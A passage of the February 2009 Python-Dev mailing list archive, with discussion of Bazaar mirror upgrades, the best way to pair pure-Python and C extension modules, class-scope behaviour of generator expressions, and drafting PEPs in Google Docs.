> clients to upgrade to at least bzr 1.9, which was released on  
> November 7, 2008.
>
> I would like to do this upgrade.  If you are currently using the  
> Bazaar mirrors at code.python.org and upgrading your client to at  
> least bzr 1.9 would be a hardship, please contact me.  If I don't  
> hear any objections by say Tuesday, I'll go ahead and do the repo  
> upgrades.

Adam Olsen reminds me that bzr 1.9 won't be supported by default in  
Ubuntu until Jaunty in April and Thomas reminds me that Debian still  
just has 1.5.

In both those cases, you can use the PPA:

https://launchpad.net/~bzr/+archive/ppa

For Ubuntu machines, pick the distro version that's most appropriate.   
For Debian lenny, I use the Hardy PPA which seems to work fine.

Gentoo gives me 1.12 and MacPorts gives me 1.11.  I can't check any  
other distros.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZ8ewnEjvBPtnXfVAQLTEgP+IF8j1UJNqOt1uZ8L5QO+63tcwFdJ3z0X
k5ZJg3mJgMVdXMnYSgnO6fBC7R7/zVHFo++cNoitVk1++N+PqdPjGaZkD/4/Yu/I
gnUuEnS6aTU9at9rhrLXc310Qs8N9JmKOn9LWie2gCMOyiW/E95mMpH95Ze2jNrR
97p+uBzxtlQ=
=wdPZ
-----END PGP SIGNATURE-----

From brett at python.org  Fri Feb 20 22:45:26 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 13:45:26 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090220205329.GA9829@panix.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
	<20090220205329.GA9829@panix.com>
Message-ID: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>

On Fri, Feb 20, 2009 at 12:53, Aahz <aahz at pythoncraft.com> wrote:

> On Fri, Feb 20, 2009, Brett Cannon wrote:
> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:
> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
> >> daniel at stutzbachenterprises.com> wrote:
> >>>
> >>> A slight change would make it work for modules where only key functions
> >>> have been rewritten.  For example, pickle.py could read:
> >>>
> >>> from _pypickle import *
> >>> try: from _pickle import *
> >>> except ImportError: pass
> >>
> >> True, although that still suffers from the problem of overwriting things
> >> like __name__, __file__, etc.
> >
> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in
> anything
> > starting with an underscore. So while this alleviates the worry above, it
> > does mean that anything that gets rewritten needs to have a name that
> does
> > not lead with an underscore for this to work. Is that really an
> acceptable
> > compromise for a simple solution like this?
>
> Doesn't __all__ control this?


If you define it, yes.

But there is another issue with this: the pure Python code will never call
the extension code because the globals will be bound to _pypickle and not
_pickle. So if you have something like::

  # _pypickle
  def A(): return _B()
  def _B(): return -13

  # _pickle
  def _B(): return 42

  # pickle
  from _pypickle import *
  try: from _pickle import *
  except ImportError: pass

If you import pickle and call pickle.A() you will get -13 which is not what
you are after.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/38243ef3/attachment.htm>

From greg.ewing at canterbury.ac.nz  Fri Feb 20 23:02:25 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 21 Feb 2009 11:02:25 +1300
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
Message-ID: <499F2871.8020100@canterbury.ac.nz>

Brett Cannon wrote:
> So while this alleviates the worry 
> above, it does mean that anything that gets rewritten needs to have a 
> name that does not lead with an underscore for this to work.

You can use an __all__ list to explicitly say what
is to be exported.

-- 
Greg

From brett at python.org  Fri Feb 20 23:02:09 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 20 Feb 2009 14:02:09 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <499F1D65.6070904@canterbury.ac.nz>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
	<499E4107.3040500@pearwood.info> <499F1D65.6070904@canterbury.ac.nz>
Message-ID: <bbaeab100902201402y71e2ad55n684a6debd16ff11c@mail.gmail.com>

On Fri, Feb 20, 2009 at 13:15, Greg Ewing <greg.ewing at canterbury.ac.nz>wrote:

> Steven D'Aprano wrote:
>
>  Currently, if I want to verify that (say) cFoo and Foo do the same thing,
>> or compare their speed, it's easy because I can import the modules
>> separately.
>>
>
> Also, won't foo.py be wasting time in most cases by
> defining python versions that get overwritten?
>

But that's only at import time and that is rather minor compared to other
execution costs.


>
> Instead of defining things directly in foo.py, maybe it
> should do
>
>  try:
>    from cFoo import *
>  except ImportError:
>    from pyFoo import *
>
> Then the fast path will be taken if cFoo is available,
> and you can directly import cFoo or pyFoo if you want.
>

See the other thread I started on discussing best practices for this, but
this won't work for modules where only part of the implementation has an
optimized version in an extension module (e.g. pickle).

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/aad8108b/attachment.htm>

From josiah.carlson at gmail.com  Fri Feb 20 23:40:16 2009
From: josiah.carlson at gmail.com (Josiah Carlson)
Date: Fri, 20 Feb 2009 14:40:16 -0800
Subject: [Python-Dev] Seeming unintended difference between list
	comprehensions and generator expressions...
Message-ID: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>

Recently I found the need to generate some constants inside a class
body.  What I discovered was a bit unintuitive, and may not be
intended...

In 2.5 and 2.6:
>>> class foo:
...     x = {}
...     x.update((i, x.get(i, None)) for i in xrange(10))
...
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in foo
  File "<stdin>", line 3, in <genexpr>
NameError: global name 'x' is not defined
>>> class foo:
...     x = {}
...     x.update([(i, x.get(i, None)) for i in xrange(10)])
...
>>>

In 3.0:
>>> class foo():
...     x = {}
...     x.update((i, x.get(i, None)) for i in range(10))
...
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in foo
  File "<stdin>", line 3, in <genexpr>
NameError: global name 'x' is not defined
>>> class foo():
...     x = {}
...     x.update([(i, x.get(i, None)) for i in range(10)])
...
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in foo
  File "<stdin>", line 3, in <listcomp>
NameError: global name 'x' is not defined
>>>


The behavior of 3.0 WRT list comprehensions behaving the same way as
generator expressions is expected, but why generator expressions
(generally) don't keep a reference to the class scope during execution
seems to be unintended.

 - Josiah

From ncoghlan at gmail.com  Sat Feb 21 00:14:38 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 21 Feb 2009 09:14:38 +1000
Subject: [Python-Dev] Seeming unintended difference between
 list	comprehensions and generator expressions...
In-Reply-To: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>
References: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>
Message-ID: <499F395E.5010202@gmail.com>

Josiah Carlson wrote:
> The behavior of 3.0 WRT list comprehensions behaving the same way as
> generator expressions is expected, but why generator expressions
> (generally) don't keep a reference to the class scope during execution
> seems to be unintended.

It's intended. While arguably not ideal, it would require some pretty
major changes to the lexical scoping rules to make them behave any
differently.

The translation of (i*i for i in x) is conceptually along the lines of:

  def _ge(arg):
    for i in arg:
      yield i*i

  <expr_value> = _ge(x)

Similarly, a 3.x list comprehension [i*i for i in x] is very roughly
translated as:

  def _lc(arg):
    result = []
    for i in arg:
      result.append(i*i)
    return result

  <expr_value> = _lc(x)

Like any function scope inside a class namespace, the body of a genexp
(and, in 3.x, comprehension) doesn't have direct access to the class
namespace because classes don't play any part in the lexical scoping rules.

Basically, if a generator or 3.x comprehension needs access to a value
from a containing class scope anywhere other than the outermost
iterator, then it needs to be put into a temporary function and given
the extra value as an argument:

.>> class C:
...   x = {}
...   def _init_constants(d, itr):
...     d.update((i, d.get(i, None)) for i in itr)
...   _init_constants(x, range(10))
...   del _init_constants
...
.>> C.x
{0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7: None,
8: None, 9: None}

(in this toy case, of course, it would be simpler to make the temporary
function create and return the constants dictionary, but the above
approach with multiple arguments being passed in applies more generally
when you need to access multiple existing values from the class scope)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ncoghlan at gmail.com  Sat Feb 21 00:27:23 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 21 Feb 2009 09:27:23 +1000
Subject: [Python-Dev] Choosing a best practice solution
 for	Python/extension modules
In-Reply-To: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>	<20090220205329.GA9829@panix.com>
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
Message-ID: <499F3C5B.2010704@gmail.com>

Brett Cannon wrote:
> But there is another issue with this: the pure Python code will never
> call the extension code because the globals will be bound to _pypickle
> and not _pickle. So if you have something like::
> 
>   # _pypickle
>   def A(): return _B()
>   def _B(): return -13
> 
>   # _pickle
>   def _B(): return 42
> 
>   # pickle
>   from _pypickle import *
>   try: from _pickle import *
>   except ImportError: pass
> 
> If you import pickle and call pickle.A() you will get -13 which is not
> what you are after.

Ah, you may want to think about that a bit more. There's a reason
globals are looked up when they're used rather than when their function
is defined. Even in your own example, _B isn't defined at all when you
define A.

There is a (real) related problem whereby the Python version will *use*
it's own globals if it actually tries to call any functions during the
import, but that's a problem shared by any "overwrite at the end of
import" approach to swapping in extension module versions of functions.

With appropriate __all__ definitions in the C extension modules, I don't
see anything wrong with Daniel's suggested approach. Note also that with
this approach _io.__all__ will give the details of what has been
overridden by the extension module, so it even still provides a decent
level of introspection support.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From daniel at stutzbachenterprises.com  Sat Feb 21 00:40:08 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Fri, 20 Feb 2009 17:40:08 -0600
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <499F3C5B.2010704@gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
	<20090220205329.GA9829@panix.com>
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<499F3C5B.2010704@gmail.com>
Message-ID: <eae285400902201540w53e52b09tffa775fb51979b7@mail.gmail.com>

On Fri, Feb 20, 2009 at 5:27 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:

> Brett Cannon wrote:
> > If you import pickle and call pickle.A() you will get -13 which is not
> > what you are after.
>
> Ah, you may want to think about that a bit more. There's a reason
> globals are looked up when they're used rather than when their function
> is defined. Even in your own example, _B isn't defined at all when you
> define A.
>

No, I'm afraid Brett is quite right.  Globals are looked up when the
function is executed, true, but they are looked up within the module that
defined the function.  Functions defined in _pypickle would only call the
_pypickle version of functions.

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090220/ebe4cfd8/attachment.htm>

From ncoghlan at gmail.com  Sat Feb 21 00:54:03 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 21 Feb 2009 09:54:03 +1000
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <eae285400902201540w53e52b09tffa775fb51979b7@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>	
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>	
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>	
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>	
	<20090220205329.GA9829@panix.com>	
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>	
	<499F3C5B.2010704@gmail.com>
	<eae285400902201540w53e52b09tffa775fb51979b7@mail.gmail.com>
Message-ID: <499F429B.3020500@gmail.com>

Daniel Stutzbach wrote:
> On Fri, Feb 20, 2009 at 5:27 PM, Nick Coghlan <ncoghlan at gmail.com
> <mailto:ncoghlan at gmail.com>> wrote:
> 
>     Brett Cannon wrote:
>     > If you import pickle and call pickle.A() you will get -13 which is not
>     > what you are after.
> 
>     Ah, you may want to think about that a bit more. There's a reason
>     globals are looked up when they're used rather than when their function
>     is defined. Even in your own example, _B isn't defined at all when you
>     define A.
> 
> 
> No, I'm afraid Brett is quite right.  Globals are looked up when the
> function is executed, true, but they are looked up within the module
> that defined the function.  Functions defined in _pypickle would only
> call the _pypickle version of functions.

Oh, I see what you mean now. Looks like Brett's tracked substitution may
be the way to go then.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From josiah.carlson at gmail.com  Sat Feb 21 01:18:05 2009
From: josiah.carlson at gmail.com (Josiah Carlson)
Date: Fri, 20 Feb 2009 16:18:05 -0800
Subject: [Python-Dev] Seeming unintended difference between list
	comprehensions and generator expressions...
In-Reply-To: <499F395E.5010202@gmail.com>
References: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>
	<499F395E.5010202@gmail.com>
Message-ID: <e6511dbf0902201618j61dfa44egeb642a38486c2f9b@mail.gmail.com>

On Fri, Feb 20, 2009 at 3:14 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Josiah Carlson wrote:
>> The behavior of 3.0 WRT list comprehensions behaving the same way as
>> generator expressions is expected, but why generator expressions
>> (generally) don't keep a reference to the class scope during execution
>> seems to be unintended.
>
> It's intended. While arguably not ideal, it would require some pretty
> major changes to the lexical scoping rules to make them behave any
> differently.
>
> The translation of (i*i for i in x) is conceptually along the lines of:
>
>  def _ge(arg):
>    for i in arg:
>      yield i*i
>
>  <expr_value> = _ge(x)
>
> Similarly, a 3.x list comprehension [i*i for i in x] is very roughly
> translated as:
>
>  def _lc(arg):
>    result = []
>    for i in arg:
>      result.append(i*i)
>    return result
>
>  <expr_value> = _lc(x)

I was under the impression that in 3.x, it was equivalent to
list(<genexp>) .  Which would explain the difference between 2.6 and
3.0.

> Like any function scope inside a class namespace, the body of a genexp
> (and, in 3.x, comprehension) doesn't have direct access to the class
> namespace because classes don't play any part in the lexical scoping rules.

Indeed, though I had thought (if only briefly ;) ) that when executing
non-definitions in the class body, it would behave similar to the a
more or less equivalent function-based class factory

>>> def make_class(*bases):
...     def make_class(fcn):
...             dict = fcn()
...             return type(object)(fcn.__name__, bases, dict)
...     return make_class
...
>>> @make_class(object)
... def foo():
...     x = {}
...     x.update((i, x.get(i, None)) for i in xrange(10))
...     return locals()
...
>>> foo
<class '__main__.foo'>
>>> foo.x
{0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7:
None, 8: None, 9: None}
>>>

But I was wrong ;)

Thank you for the help :)
 - Josiah

> Basically, if a generator or 3.x comprehension needs access to a value
> from a containing class scope anywhere other than the outermost
> iterator, then it needs to be put into a temporary function and given
> the extra value as an argument:
>
> .>> class C:
> ...   x = {}
> ...   def _init_constants(d, itr):
> ...     d.update((i, d.get(i, None)) for i in itr)
> ...   _init_constants(x, range(10))
> ...   del _init_constants
> ...
> .>> C.x
> {0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7: None,
> 8: None, 9: None}
>
> (in this toy case, of course, it would be simpler to make the temporary
> function create and return the constants dictionary, but the above
> approach with multiple arguments being passed in applies more generally
> when you need to access multiple existing values from the class scope)
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
> ---------------------------------------------------------------
>

From steve at pearwood.info  Sat Feb 21 01:23:38 2009
From: steve at pearwood.info (Steven D'Aprano)
Date: Sat, 21 Feb 2009 11:23:38 +1100
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <499F1D65.6070904@canterbury.ac.nz>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>	<499E4107.3040500@pearwood.info>
	<499F1D65.6070904@canterbury.ac.nz>
Message-ID: <499F498A.6060904@pearwood.info>

Greg Ewing wrote:

> Instead of defining things directly in foo.py, maybe it
> should do
> 
>   try:
>     from cFoo import *
>   except ImportError:
>     from pyFoo import *
> 
> Then the fast path will be taken if cFoo is available,
> and you can directly import cFoo or pyFoo if you want.

For what it's worth, I like that naming convention better than the 
current conventions Foo/cFoo, Foo/_Foo.


-- 
Steven







From ncoghlan at gmail.com  Sat Feb 21 01:35:20 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 21 Feb 2009 10:35:20 +1000
Subject: [Python-Dev] Seeming unintended difference between list
 comprehensions and generator expressions...
In-Reply-To: <e6511dbf0902201618j61dfa44egeb642a38486c2f9b@mail.gmail.com>
References: <e6511dbf0902201440m5f5607d8i41e4157ffb66f6cc@mail.gmail.com>	
	<499F395E.5010202@gmail.com>
	<e6511dbf0902201618j61dfa44egeb642a38486c2f9b@mail.gmail.com>
Message-ID: <499F4C48.2060509@gmail.com>

Josiah Carlson wrote:
>> Similarly, a 3.x list comprehension [i*i for i in x] is very roughly
>> translated as:
>>
>>  def _lc(arg):
>>    result = []
>>    for i in arg:
>>      result.append(i*i)
>>    return result
>>
>>  <expr_value> = _lc(x)
> 
> I was under the impression that in 3.x, it was equivalent to
> list(<genexp>) .  Which would explain the difference between 2.6 and
> 3.0.

Semantically, the two translations end up being the same. Actually
*implementing* it that way turned out to be unnecessarily slow: the
comprehensions instead create a normal function that builds the desired
type of object (list/set/dict) incrementally rather than building a
generator function and invoking it. The speed increase comes from being
able to skip the generator resume/yield overhead on each iteration.

>> Like any function scope inside a class namespace, the body of a genexp
>> (and, in 3.x, comprehension) doesn't have direct access to the class
>> namespace because classes don't play any part in the lexical scoping rules.
> 
> Indeed, though I had thought (if only briefly ;) ) that when executing
> non-definitions in the class body, it would behave similar to the a
> more or less equivalent function-based class factory

I think there may be a section of the language reference that describes
it in those terms. If there is, it should probably be changed, since it
gives misleading ideas about how the scoping works. Execution of a class
body is actually a bit more like using an exec statement than it is like
an implicit function definition.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From cournape at gmail.com  Sat Feb 21 03:04:00 2009
From: cournape at gmail.com (David Cournapeau)
Date: Sat, 21 Feb 2009 11:04:00 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
Message-ID: <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>

On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw <barry at python.org> wrote:

> Adam Olsen reminds me that bzr 1.9 won't be supported by default in Ubuntu
> until Jaunty in April and Thomas reminds me that Debian still just has 1.5.
>
> In both those cases, you can use the PPA:
>
> https://launchpad.net/~bzr/+archive/ppa

Please note that for many people in a corporate/university
environment, this is not an option. Granted, you can install it by
yourself at this point,

David

From stephen at xemacs.org  Sat Feb 21 04:56:22 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 21 Feb 2009 12:56:22 +0900
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <gnmr8g$6dr$1@ger.gmane.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org>
Message-ID: <87eixs5tp5.fsf@xemacs.org>

Summary:

Google Docs is easy to use, featureful, and here now.  Since AIUI the
PEPs eventually need to be hosted at python.org, I see Google Docs as
an immediate replacement for email transmission of early drafts of
PEPs, not as a permanent solution to PEP storage.

William Dode writes:

 > Isn't it the good oportunity to try a DVCS ?

I thought about that (and if I agreed I wouldn't have posted), but
there are reasons why Guido is "looking forward to" rather than
"calling for volunteers".  ISTM that a DVCS is just a wiki where you
can't find stuff unless you're told where it is.  It will take time.

What Google Docs provided for me was an infrastructure that
accomplished several useful services automatically, and stayed out of
my face (except for the lack of pruning of uninteresting revisions).

IMO the features we want are

(1) a permanent, easily computed URN for the draft document repo
    -- DVCS can do this, with straightforward support from python.org
    -- wiki can do this as a convention such as reserving PEP_0374 for
       final doc with PEP_0374_draft for development
(2) editor control over access to individual documents
    -- AFAIK there's no mechanism for this at python.org, so to use a
       DVCS would require developing one
    -- no mechanism for this in most wikis AFAIK (but ZWiki can do it)
    -- it could be argued that the current convention of people
       staying out of each others' space would work, but what about
       non-committers (like me)?
(3) automatic merging of concurrent work
    -- DVCS does this, but needs to be pushed afterward
    -- most wikis can't do this in the framework of a single document,
       but you could organize the doc by sections for drafting
(4) automatic saves of intermediate work
    -- at the tweak stage, the effort to save, commit, and push to a
       DVCS outweighs the effort to tweak, costing a lot of polish IME
    -- wikis don't do this, and I wonder whether people would be
       willing to save unpolished work, or leave it sitting in the
       browser "until later"
(5) a recorded out of band channel for the editors (when plural) to
    comment
    -- "XXX" can work but when it's scutwork (eg, researching URLs or
       reworking sections to have parallel organization) it's ugly and
       distracting for non-editors to read; DVCS by itself provides no
       such medium, one would need to be developed
    -- ditto wikis (although Wikipedia has its linked discussion
       channels, and this could be emulated on any wiki by a
       convention such as PEP_0374_talk, which would have the
       advantage that interested non-editors could look at the
       comments and contribute URLs and ideas, etc)
    -- for non-trivial work, mail/IRC doesn't really cut it; you're
       more likely to make the indicated tweak if you're working on
       the document anyway, mail/IRC is likely to be focused elsewhere
       and the cost of changing focus too high to do it *now*

(1) and (2) are obvious, I think, and I don't know how much (3) really
matters when the editors are a small group.  But I was surprised by
how much (4), and (5) contributed to my experience working on PEP
0374.  Maybe Brett, Barry, or Alexandre would like to comment?

I note that the FSF had a rather complex system for its collaborative
development of 3d generation licenses.  I don't think that's necessary
for most PEPs.

From greg.ewing at canterbury.ac.nz  Sat Feb 21 06:14:39 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 21 Feb 2009 18:14:39 +1300
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <eae285400902201540w53e52b09tffa775fb51979b7@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
	<20090220205329.GA9829@panix.com>
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<499F3C5B.2010704@gmail.com>
	<eae285400902201540w53e52b09tffa775fb51979b7@mail.gmail.com>
Message-ID: <499F8DBF.3010303@canterbury.ac.nz>

Daniel Stutzbach wrote:

> No, I'm afraid Brett is quite right.  Globals are looked up when the 
> function is executed, true, but they are looked up within the module 
> that defined the function.

I was thinking you could fix that by going over the
imported functions and stuffing the current globals
into their func_globals, but unfortunately it's
read-only. :-(

 >>> f.func_globals = g
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
TypeError: readonly attribute

Is there a reason it couldn't be made writeable?

-- 
Greg

From rdmurray at bitdance.com  Sat Feb 21 06:26:46 2009
From: rdmurray at bitdance.com (rdmurray at bitdance.com)
Date: Sat, 21 Feb 2009 00:26:46 -0500 (EST)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <87eixs5tp5.fsf@xemacs.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
Message-ID: <Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>

On Sat, 21 Feb 2009 at 12:56, Stephen J. Turnbull wrote:
> (4) automatic saves of intermediate work
>    -- at the tweak stage, the effort to save, commit, and push to a
>       DVCS outweighs the effort to tweak, costing a lot of polish IME
>    -- wikis don't do this, and I wonder whether people would be
>       willing to save unpolished work, or leave it sitting in the
>       browser "until later"

Not that I'm expecting to be working on PEPs any time soon, but just as a
different perspective, I would find the effort to open up Google docs to
be a much higher barrier to doing some editing tweaks than the dvcs case.
For the DVCS, I'd just write a little script that would (1) update (2)
open the editor on the file (3) do the commit/push dance when the file
was closed.  So for me it would be as easy as editing the file locally.

So for my work style, a DVCS would be the biggest win.

--RDM

From hall.jeff at gmail.com  Sat Feb 21 07:12:02 2009
From: hall.jeff at gmail.com (Jeff Hall)
Date: Sat, 21 Feb 2009 01:12:02 -0500
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
References: <499C6E00.2030602@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
	<Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
Message-ID: <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com>

> Not that I'm expecting to be working on PEPs any time soon, but just as a
> different perspective, I would find the effort to open up Google docs to
> be a much higher barrier to doing some editing tweaks than the dvcs case.
> For the DVCS, I'd just write a little script that would (1) update (2)
> open the editor on the file (3) do the commit/push dance when the file
> was closed.  So for me it would be as easy as editing the file locally.
>
> So for my work style, a DVCS would be the biggest win.
>
> --RDM


That's funny because I would expect that for most people it's the exact
opposite... just create a gmail account... boom, done... I'm not necessarily
advocating that but just saying that IMO, most people will find google docs
to be the "fastest" and "easiest" solution.

-- 
Haikus are easy
Most make very little sense
Refrigerator
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/7da0772c/attachment.htm>

From stephen at xemacs.org  Sat Feb 21 07:52:03 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 21 Feb 2009 15:52:03 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
Message-ID: <878wo05lkc.fsf@xemacs.org>

David Cournapeau writes:
 > On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw <barry at python.org> wrote:

 > > In both those cases, you can use the PPA:

 > Please note that for many people in a corporate/university
 > environment, this is not an option. Granted, you can install it by
 > yourself at this point,

Er, what are people without access to PPAs doing building Python from
a VCS checkout?

Surely this is not a problem.


From cournape at gmail.com  Sat Feb 21 08:37:18 2009
From: cournape at gmail.com (David Cournapeau)
Date: Sat, 21 Feb 2009 16:37:18 +0900
